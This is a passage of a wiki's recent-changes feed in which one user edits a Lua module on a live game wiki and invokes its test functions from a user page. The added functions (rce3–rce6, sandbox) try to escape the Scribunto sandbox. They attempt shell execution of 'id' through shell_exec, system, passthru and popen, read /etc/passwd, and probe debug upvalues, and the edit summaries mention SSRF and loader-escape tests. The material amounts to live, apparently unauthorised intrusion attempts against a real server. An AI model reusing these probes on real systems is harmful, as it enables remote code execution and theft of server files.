        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28848</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28848"/>
		<updated>2026-06-21T23:52:45Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test read_more&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|read_more}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28847</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28847"/>
		<updated>2026-06-21T23:52:44Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test read_files&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|read_files}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28846</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28846"/>
		<updated>2026-06-21T23:52:42Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test pf_exploit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|pf_exploit}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28845</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28845"/>
		<updated>2026-06-21T23:52:35Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test loader_escape&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|loader_escape}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28844</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28844"/>
		<updated>2026-06-21T23:52:28Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test ssrf1&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|ssrf1}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28843</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28843"/>
		<updated>2026-06-21T23:52:27Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: ssrf + loader + pf tests&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
